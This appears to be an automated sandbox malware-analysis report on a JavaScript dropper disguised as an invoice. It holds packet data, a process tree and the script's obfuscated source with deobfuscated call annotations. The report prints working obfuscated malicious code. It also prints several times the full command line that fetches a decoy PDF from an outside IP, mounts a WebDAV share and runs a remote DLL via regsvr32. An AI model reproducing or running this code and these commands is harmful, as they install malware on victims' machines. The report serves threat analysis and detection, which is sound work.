Jan 11, 2025 02:06:24.671823025 CET	224	IN	Data Raw: b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 Data Ascii: ;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1
Jan 11, 2025 02:06:24.671839952 CET	1236	IN	Data Raw: 94 ab 8f 0d 3d f5 c7 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 Data Ascii: =C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`
Jan 11, 2025 02:06:24.671899080 CET	1236	IN	Data Raw: 60 13 36 7a 73 c3 ce 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 Data Ascii: `6zs(?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y
Jan 11, 2025 02:06:24.671915054 CET	448	IN	Data Raw: 32 c5 d0 bb 14 43 8f 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d Data Ascii: 2Cn1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:06:24.671931028 CET	1236	IN	Data Raw: ed 0e 0c 7d ff 6e f6 ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 Data Ascii: }nmcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--
Jan 11, 2025 02:06:24.671947002 CET	1236	IN	Data Raw: 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 58 Data Ascii: )kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(
Jan 11, 2025 02:06:24.676681042 CET	1236	IN	Data Raw: 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 4c Data Ascii: wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	6700	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:06:26.412187099 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:06:27.242337942 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:06:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:06:20
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js"
Imagebase:	0x7ff790ba0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:06:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll
Imagebase:	0x7ff6e7bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:06:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:06:21
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:06:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:06:25
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e7bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:06:25
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68f3f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:06:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:06:26
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:06:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1644,i,17921316697761337183,13458246683038428077,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ckdwcw() {	ckdwcw() ➔ undefined
1	geakfbjf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lasolif = this[hwxas + lfabe + cjpqyeclb + kddpa + tuyrfatw + tmgvu + yltikb + utpwhpp] ( this[bbdpnivqx + pkjueo + vqalraj + cjpqyeclb + khglhdy + hwxas + utpwhpp][ihppaid + cjpqyeclb + tuyrfatw + lfabe + utpwhpp + tuyrfatw + rhvtq + iwlhu + qvogia + tuyrfatw + vqalraj + utpwhpp] ( bbdpnivqx + pkjueo + vqalraj + cjpqyeclb + khglhdy + hwxas + utpwhpp + sdonap + pkjueo + gfixjf + tuyrfatw + ejklzaky + ejklzaky ) [gaddws + tuyrfatw + jokyp + gaddws + tuyrfatw + lfabe + tlaxjzm] ( kwxraeqi + emytibz + vxuur + pmlbod + kgtzgew + ihppaid + cuajj + gaddws + gaddws + vxuur + tsopelp + baejwvizx + kgtzgew + cuajj + pkjueo + vxuur + gaddws + yiiacffs + ihppaid + btpfqks + yltikb + utpwhpp + cjpqyeclb + btpfqks + ejklzaky + ectpq + bklmzcg + lfabe + yltikb + tuyrfatw + ejklzaky + yiiacffs + tmgvu + yltikb + utpwhpp + tuyrfatw + cjpqyeclb + yltikb + lfabe + utpwhpp + khglhdy + btpfqks + yltikb + lfabe + ejklzaky + yiiacffs + fvbfxrnq + btpfqks + vqalraj + lfabe + ejklzaky + tuyrfatw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( scozyqzw = 0 ; scozyqzw < geakfbjf[ejklzaky + tuyrfatw + yltikb + jokyp + utpwhpp + gfixjf] ; ++ scozyqzw )
4	{
5	if ( lasolif == geakfbjf[scozyqzw] )
6	{
7	lasolif = true;
8	break ;
9	}
10	}
11	if ( lasolif !== true )
12	this[bbdpnivqx + pkjueo + vqalraj + cjpqyeclb + khglhdy + hwxas + utpwhpp][vxhzr + icqvk + khglhdy + utpwhpp] ( );
13	this[bbdpnivqx + pkjueo + vqalraj + cjpqyeclb + khglhdy + hwxas + utpwhpp][ihppaid + cjpqyeclb + tuyrfatw + lfabe + utpwhpp + tuyrfatw + rhvtq + iwlhu + qvogia + tuyrfatw + vqalraj + utpwhpp] ( bbdpnivqx + pkjueo + vqalraj + cjpqyeclb + khglhdy + hwxas + utpwhpp + sdonap + pkjueo + gfixjf + tuyrfatw + ejklzaky + ejklzaky ) [cjpqyeclb + icqvk + yltikb] ( vqalraj + bfznqvcbq + tlaxjzm + ectpq + xlysxht + vqalraj + ectpq + hwxas + btpfqks + nygkxmt + tuyrfatw + cjpqyeclb + kddpa + gfixjf + tuyrfatw + ejklzaky + ejklzaky + sdonap + tuyrfatw + vltiqcy + tuyrfatw + ectpq + fsgezkf + ihppaid + btpfqks + bfznqvcbq + bfznqvcbq + lfabe + yltikb + tlaxjzm + ectpq + nqmhkl + tmgvu + yltikb + ipjmipero + btpfqks + sfgtjlr + tuyrfatw + fsgezkf + bbdpnivqx + tuyrfatw + iwlhu + gaddws + tuyrfatw + uxuhni + icqvk + tuyrfatw + kddpa + utpwhpp + ectpq + fsgezkf + rhvtq + icqvk + utpwhpp + sdfyyyrq + khglhdy + ejklzaky + tuyrfatw + ectpq + eigsf + utpwhpp + tuyrfatw + bfznqvcbq + hwxas + eigsf + yiiacffs + khglhdy + yltikb + ipjmipero + btpfqks + khglhdy + vqalraj + tuyrfatw + sdonap + hwxas + tlaxjzm + nzhtl + ectpq + gfixjf + utpwhpp + utpwhpp + hwxas + rnmywsj + xlysxht + xlysxht + ycwpftads + ztuhpddyh + volbpe + sdonap + ycwpftads + vzquqjp + volbpe + sdonap + ycwpftads + sdonap + luyhk + mfvcxo + uceefsm + xlysxht + khglhdy + yltikb + ipjmipero + btpfqks + khglhdy + vqalraj + tuyrfatw + sdonap + hwxas + gfixjf + hwxas + nqmhkl + tvcdc + tvcdc + kddpa + utpwhpp + lfabe + cjpqyeclb + utpwhpp + ectpq + eigsf + utpwhpp + tuyrfatw + bfznqvcbq + hwxas + eigsf + yiiacffs + khglhdy + yltikb + ipjmipero + btpfqks + khglhdy + vqalraj + tuyrfatw + sdonap + hwxas + tlaxjzm + nzhtl + tvcdc + tvcdc + vqalraj + bfznqvcbq + tlaxjzm + ectpq + xlysxht + vqalraj + ectpq + yltikb + tuyrfatw + utpwhpp + ectpq + icqvk + kddpa + tuyrfatw + ectpq + yiiacffs + yiiacffs + ycwpftads + ztuhpddyh + volbpe + sdonap + ycwpftads + vzquqjp + volbpe + sdonap + ycwpftads + sdonap + luyhk + mfvcxo + uceefsm + dlavuskbn + noqkwzsgk + noqkwzsgk + noqkwzsgk + noqkwzsgk + yiiacffs + tlaxjzm + lfabe + ipjmipero + nygkxmt + nygkxmt + nygkxmt + cjpqyeclb + btpfqks + btpfqks + utpwhpp + yiiacffs + tvcdc + tvcdc + vqalraj + bfznqvcbq + tlaxjzm + ectpq + xlysxht + vqalraj + ectpq + cjpqyeclb + tuyrfatw + jokyp + kddpa + ipjmipero + cjpqyeclb + volbpe + luyhk + ectpq + xlysxht + kddpa + ectpq + yiiacffs + yiiacffs + ycwpftads + ztuhpddyh + volbpe + sdonap + ycwpftads + vzquqjp + volbpe + sdonap + ycwpftads + sdonap + luyhk + mfvcxo + uceefsm + dlavuskbn + noqkwzsgk + noqkwzsgk + noqkwzsgk + noqkwzsgk + yiiacffs + tlaxjzm + lfabe + ipjmipero + nygkxmt + nygkxmt + nygkxmt + cjpqyeclb + btpfqks + btpfqks + utpwhpp + yiiacffs + luyhk + vzquqjp + noqkwzsgk + svqzqlot + ycwpftads + volbpe + ycwpftads + mfvcxo + vzquqjp + ycwpftads + svqzqlot + mfvcxo + svqzqlot + vzquqjp + sdonap + tlaxjzm + ejklzaky + ejklzaky, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll",0,false) ➔ 0
14	}
15	pkjueo = "a";
16	pkjueo = "K";
17	pkjueo = "v";
18	pkjueo = "T";
19	pkjueo = "g";
20	pkjueo = "b";
21	pkjueo = "i";
22	pkjueo = "R";
23	pkjueo = "Q";
24	pkjueo = "O";
25	pkjueo = "S";
26	pkjueo = "v";
27	pkjueo = "t";
28	pkjueo = "I";
29	pkjueo = "N";
30	pkjueo = "t";
31	pkjueo = "g";
32	pkjueo = "U";
33	pkjueo = "h";
34	pkjueo = "J";
35	pkjueo = "Z";
36	pkjueo = "X";
37	pkjueo = "r";
38	pkjueo = "I";
39	pkjueo = "W";
40	pkjueo = "q";
41	pkjueo = "S";
42	pkjueo = "j";
43	pkjueo = "H";
44	pkjueo = "j";
45	pkjueo = "Y";
46	pkjueo = "S";
47	mfvcxo = "y";
48	mfvcxo = "x";
49	mfvcxo = "G";
50	mfvcxo = "L";
51	mfvcxo = "V";
52	mfvcxo = "P";
53	mfvcxo = "0";
54	ztuhpddyh = "A";
55	ztuhpddyh = "v";
56	ztuhpddyh = "b";
57	ztuhpddyh = "Y";
58	ztuhpddyh = "e";
59	ztuhpddyh = "A";
60	ztuhpddyh = "E";
61	ztuhpddyh = "n";
62	ztuhpddyh = "m";
63	ztuhpddyh = "L";
64	ztuhpddyh = "C";
65	ztuhpddyh = "M";
66	ztuhpddyh = "P";
67	ztuhpddyh = "9";
68	cuajj = "D";
69	cuajj = "w";
70	cuajj = "U";
71	gfixjf = "n";
72	gfixjf = "M";
73	gfixjf = "n";
74	gfixjf = "h";
75	btpfqks = "a";
76	btpfqks = "x";
77	btpfqks = "S";
78	btpfqks = "v";
79	btpfqks = "D";
80	btpfqks = "O";
81	btpfqks = "T";
82	btpfqks = "k";
83	btpfqks = "l";
84	btpfqks = "O";
85	btpfqks = "J";
86	btpfqks = "d";
87	btpfqks = "l";
88	btpfqks = "F";
89	btpfqks = "E";
90	btpfqks = "s";
91	btpfqks = "K";
92	btpfqks = "v";
93	btpfqks = "S";
94	btpfqks = "u";
95	btpfqks = "I";
96	btpfqks = "U";
97	btpfqks = "B";
98	btpfqks = "n";
99	btpfqks = "p";
100	btpfqks = "S";
101	btpfqks = "o";
102	kddpa = "C";
103	kddpa = "q";
104	kddpa = "Y";
105	kddpa = "D";
106	kddpa = "u";
107	kddpa = "M";
108	kddpa = "i";
109	kddpa = "E";
110	kddpa = "s";
111	rhvtq = "t";
112	rhvtq = "g";
113	rhvtq = "s";
114	rhvtq = "U";
115	rhvtq = "b";
116	rhvtq = "t";
117	rhvtq = "H";
118	rhvtq = "N";
119	rhvtq = "G";
120	rhvtq = "T";
121	rhvtq = "M";
122	rhvtq = "O";
123	sfgtjlr = "e";
124	sfgtjlr = "J";
125	sfgtjlr = "m";
126	sfgtjlr = "m";
127	sfgtjlr = "c";
128	sfgtjlr = "h";
129	sfgtjlr = "N";
130	sfgtjlr = "t";
131	sfgtjlr = "J";
132	sfgtjlr = "m";
133	sfgtjlr = "z";
134	sfgtjlr = "U";
135	sfgtjlr = "e";
136	sfgtjlr = "x";
137	sfgtjlr = "X";
138	sfgtjlr = "K";
139	sfgtjlr = "p";
140	sfgtjlr = "o";
141	sfgtjlr = "E";
142	sfgtjlr = "J";
143	sfgtjlr = "X";
144	sfgtjlr = "A";
145	sfgtjlr = "e";
146	sfgtjlr = "T";
147	sfgtjlr = "P";
148	sfgtjlr = "g";
149	sfgtjlr = "u";
150	sfgtjlr = "Z";
151	sfgtjlr = "k";
152	sfgtjlr = "N";
153	sfgtjlr = "R";
154	sfgtjlr = "Q";
155	sfgtjlr = "I";
156	sfgtjlr = "X";
157	sfgtjlr = "M";
158	sfgtjlr = "Q";
159	sfgtjlr = "m";
160	sfgtjlr = "l";
161	sfgtjlr = "C";
162	sfgtjlr = "V";
163	sfgtjlr = "V";
164	sfgtjlr = "l";
165	sfgtjlr = "k";
166	ipjmipero = "C";
167	ipjmipero = "X";
168	ipjmipero = "K";
169	ipjmipero = "J";
170	ipjmipero = "u";
171	ipjmipero = "o";
172	ipjmipero = "J";
173	ipjmipero = "q";
174	ipjmipero = "Z";
175	ipjmipero = "l";
176	ipjmipero = "F";
177	ipjmipero = "v";
178	ipjmipero = "K";
179	ipjmipero = "K";
180	ipjmipero = "k";
181	ipjmipero = "I";
182	ipjmipero = "R";
183	ipjmipero = "G";
184	ipjmipero = "B";
185	ipjmipero = "z";
186	ipjmipero = "C";
187	ipjmipero = "s";
188	ipjmipero = "m";
189	ipjmipero = "b";
190	ipjmipero = "j";
191	ipjmipero = "N";
192	ipjmipero = "F";
193	ipjmipero = "v";
194	jokyp = "l";
195	jokyp = "H";
196	jokyp = "n";
197	jokyp = "y";
198	jokyp = "Z";
199	jokyp = "M";
200	jokyp = "L";
201	jokyp = "w";
202	jokyp = "t";
203	jokyp = "U";
204	jokyp = "y";
205	jokyp = "c";
206	jokyp = "d";
207	jokyp = "B";
208	jokyp = "g";
209	jokyp = "b";
210	jokyp = "K";
211	jokyp = "S";
212	jokyp = "e";
213	jokyp = "g";
214	tmgvu = "v";
215	tmgvu = "A";
216	tmgvu = "W";
217	tmgvu = "z";
218	tmgvu = "U";
219	tmgvu = "B";
220	tmgvu = "G";
221	tmgvu = "I";
222	fsgezkf = "v";
223	fsgezkf = "u";
224	fsgezkf = "Z";
225	fsgezkf = "a";
226	fsgezkf = "C";
227	fsgezkf = "d";
228	fsgezkf = "l";
229	fsgezkf = "D";
230	fsgezkf = "M";
231	fsgezkf = "O";
232	fsgezkf = "O";
233	fsgezkf = "O";
234	fsgezkf = "U";
235	fsgezkf = "E";
236	fsgezkf = "E";
237	fsgezkf = "b";
238	fsgezkf = "S";
239	fsgezkf = "S";
240	fsgezkf = "b";
241	fsgezkf = "f";
242	fsgezkf = "L";
243	fsgezkf = "q";
244	fsgezkf = "B";
245	fsgezkf = "K";
246	fsgezkf = "t";
247	fsgezkf = "H";
248	fsgezkf = "k";
249	fsgezkf = "c";
250	fsgezkf = "C";
251	fsgezkf = "U";
252	fsgezkf = "l";
253	fsgezkf = "O";
254	fsgezkf = "p";
255	fsgezkf = "n";
256	fsgezkf = "B";
257	fsgezkf = "h";
258	fsgezkf = "h";
259	fsgezkf = "c";
260	fsgezkf = "-";
261	luyhk = "P";
262	luyhk = "a";
263	luyhk = "O";
264	luyhk = "E";
265	luyhk = "c";
266	luyhk = "U";
267	luyhk = "v";
268	luyhk = "k";
269	luyhk = "z";
270	luyhk = "p";
271	luyhk = "F";
272	luyhk = "U";
273	luyhk = "J";
274	luyhk = "k";
275	luyhk = "d";
276	luyhk = "K";
277	luyhk = "S";
278	luyhk = "U";
279	luyhk = "h";
280	luyhk = "G";
281	luyhk = "H";
282	luyhk = "y";
283	luyhk = "P";
284	luyhk = "l";
285	luyhk = "h";
286	luyhk = "R";
287	luyhk = "w";
288	luyhk = "Z";
289	luyhk = "T";
290	luyhk = "W";
291	luyhk = "s";
292	luyhk = "n";
293	luyhk = "K";
294	luyhk = "b";
295	luyhk = "g";
296	luyhk = "v";
297	luyhk = "o";
298	luyhk = "T";
299	luyhk = "B";
300	luyhk = "G";
301	luyhk = "U";
302	luyhk = "n";
303	luyhk = "U";
304	luyhk = "2";
305	xlysxht = "s";
306	xlysxht = "g";
307	xlysxht = "A";
308	xlysxht = "H";
309	xlysxht = "q";
310	xlysxht = "g";
311	xlysxht = "n";
312	xlysxht = "B";
313	xlysxht = "n";
314	xlysxht = "U";
315	xlysxht = "a";
316	xlysxht = "V";
317	xlysxht = "g";
318	xlysxht = "W";
319	xlysxht = "r";
320	xlysxht = "Z";
321	xlysxht = "m";
322	xlysxht = "H";
323	xlysxht = "c";
324	xlysxht = "A";
325	xlysxht = "P";
326	xlysxht = "X";
327	xlysxht = "U";
328	xlysxht = "b";
329	xlysxht = "K";
330	xlysxht = "f";
331	xlysxht = "s";
332	xlysxht = "S";
333	xlysxht = "u";
334	xlysxht = "c";
335	xlysxht = "f";
336	xlysxht = "W";
337	xlysxht = "r";
338	xlysxht = "c";
339	xlysxht = "y";
340	xlysxht = "k";
341	xlysxht = "v";
342	xlysxht = "T";
343	xlysxht = "l";
344	xlysxht = "U";
345	xlysxht = "/";
346	ejklzaky = "p";
347	ejklzaky = "F";
348	ejklzaky = "A";
349	ejklzaky = "J";
350	ejklzaky = "m";
351	ejklzaky = "H";
352	ejklzaky = "B";
353	ejklzaky = "V";
354	ejklzaky = "W";
355	ejklzaky = "S";
356	ejklzaky = "V";
357	ejklzaky = "d";
358	ejklzaky = "V";
359	ejklzaky = "H";
360	ejklzaky = "L";
361	ejklzaky = "j";
362	ejklzaky = "H";
363	ejklzaky = "Y";
364	ejklzaky = "l";
365	kgtzgew = "k";
366	kgtzgew = "g";
367	kgtzgew = "l";
368	kgtzgew = "U";
369	kgtzgew = "F";
370	kgtzgew = "u";
371	kgtzgew = "S";
372	kgtzgew = "f";
373	kgtzgew = "x";
374	kgtzgew = "X";
375	kgtzgew = "x";
376	kgtzgew = "J";
377	kgtzgew = "o";
378	kgtzgew = "f";
379	kgtzgew = "v";
380	kgtzgew = "_";
381	pmlbod = "C";
382	pmlbod = "G";
383	pmlbod = "I";
384	pmlbod = "R";
385	pmlbod = "f";
386	pmlbod = "c";
387	pmlbod = "b";
388	pmlbod = "c";
389	pmlbod = "J";
390	pmlbod = "q";
391	pmlbod = "q";
392	pmlbod = "u";
393	pmlbod = "l";
394	pmlbod = "U";
395	pmlbod = "b";
396	pmlbod = "f";
397	pmlbod = "G";
398	pmlbod = "Y";
399	pmlbod = "c";
400	pmlbod = "G";
401	pmlbod = "Y";
402	uceefsm = "Y";
403	uceefsm = "G";
404	uceefsm = "P";
405	uceefsm = "I";
406	uceefsm = "u";
407	uceefsm = "D";
408	uceefsm = "L";
409	uceefsm = "i";
410	uceefsm = "5";
411	bklmzcg = "R";
412	bklmzcg = "P";
413	bklmzcg = "D";
414	bklmzcg = "p";
415	bklmzcg = "a";
416	bklmzcg = "C";
417	bklmzcg = "k";
418	bklmzcg = "F";
419	bklmzcg = "l";
420	bklmzcg = "Z";
421	bklmzcg = "q";
422	bklmzcg = "C";
423	bklmzcg = "i";
424	bklmzcg = "H";
425	bklmzcg = "L";
426	bklmzcg = "T";
427	bklmzcg = "i";
428	bklmzcg = "z";
429	bklmzcg = "G";
430	bklmzcg = "G";
431	bklmzcg = "D";
432	bklmzcg = "k";
433	bklmzcg = "c";
434	bklmzcg = "X";
435	bklmzcg = "y";
436	bklmzcg = "f";
437	bklmzcg = "D";
438	bklmzcg = "B";
439	bklmzcg = "f";
440	bklmzcg = "z";
441	bklmzcg = "p";
442	bklmzcg = "M";
443	bklmzcg = "O";
444	bklmzcg = "K";
445	bklmzcg = "P";
446	vxuur = "F";
447	vxuur = "j";
448	vxuur = "A";
449	vxuur = "M";
450	vxuur = "J";
451	vxuur = "x";
452	vxuur = "k";
453	vxuur = "S";
454	vxuur = "G";
455	vxuur = "R";
456	vxuur = "S";
457	vxuur = "g";
458	vxuur = "Q";
459	vxuur = "c";
460	vxuur = "W";
461	vxuur = "d";
462	vxuur = "H";
463	vxuur = "B";
464	vxuur = "b";
465	vxuur = "I";
466	vxuur = "o";
467	vxuur = "j";
468	vxuur = "d";
469	vxuur = "L";
470	vxuur = "U";
471	vxuur = "k";
472	vxuur = "j";
473	vxuur = "g";
474	vxuur = "n";
475	vxuur = "t";
476	vxuur = "i";
477	vxuur = "r";
478	vxuur = "E";
479	hwxas = "x";
480	hwxas = "f";
481	hwxas = "v";
482	hwxas = "i";
483	hwxas = "P";
484	hwxas = "o";
485	hwxas = "u";
486	hwxas = "z";
487	hwxas = "A";
488	hwxas = "t";
489	hwxas = "l";
490	hwxas = "M";
491	hwxas = "c";
492	hwxas = "F";
493	hwxas = "c";
494	hwxas = "A";
495	hwxas = "W";
496	hwxas = "D";
497	hwxas = "c";
498	hwxas = "Z";
499	hwxas = "A";
500	hwxas = "X";
501	hwxas = "G";
502	hwxas = "O";
503	hwxas = "p";
504	volbpe = "Z";
505	volbpe = "J";
506	volbpe = "i";
507	volbpe = "J";
508	volbpe = "r";
509	volbpe = "J";
510	volbpe = "M";
511	volbpe = "W";
512	volbpe = "p";
513	volbpe = "W";
514	volbpe = "h";
515	volbpe = "L";
516	volbpe = "t";
517	volbpe = "Q";
518	volbpe = "h";
519	volbpe = "t";
520	volbpe = "o";
521	volbpe = "W";
522	volbpe = "e";
523	volbpe = "Y";
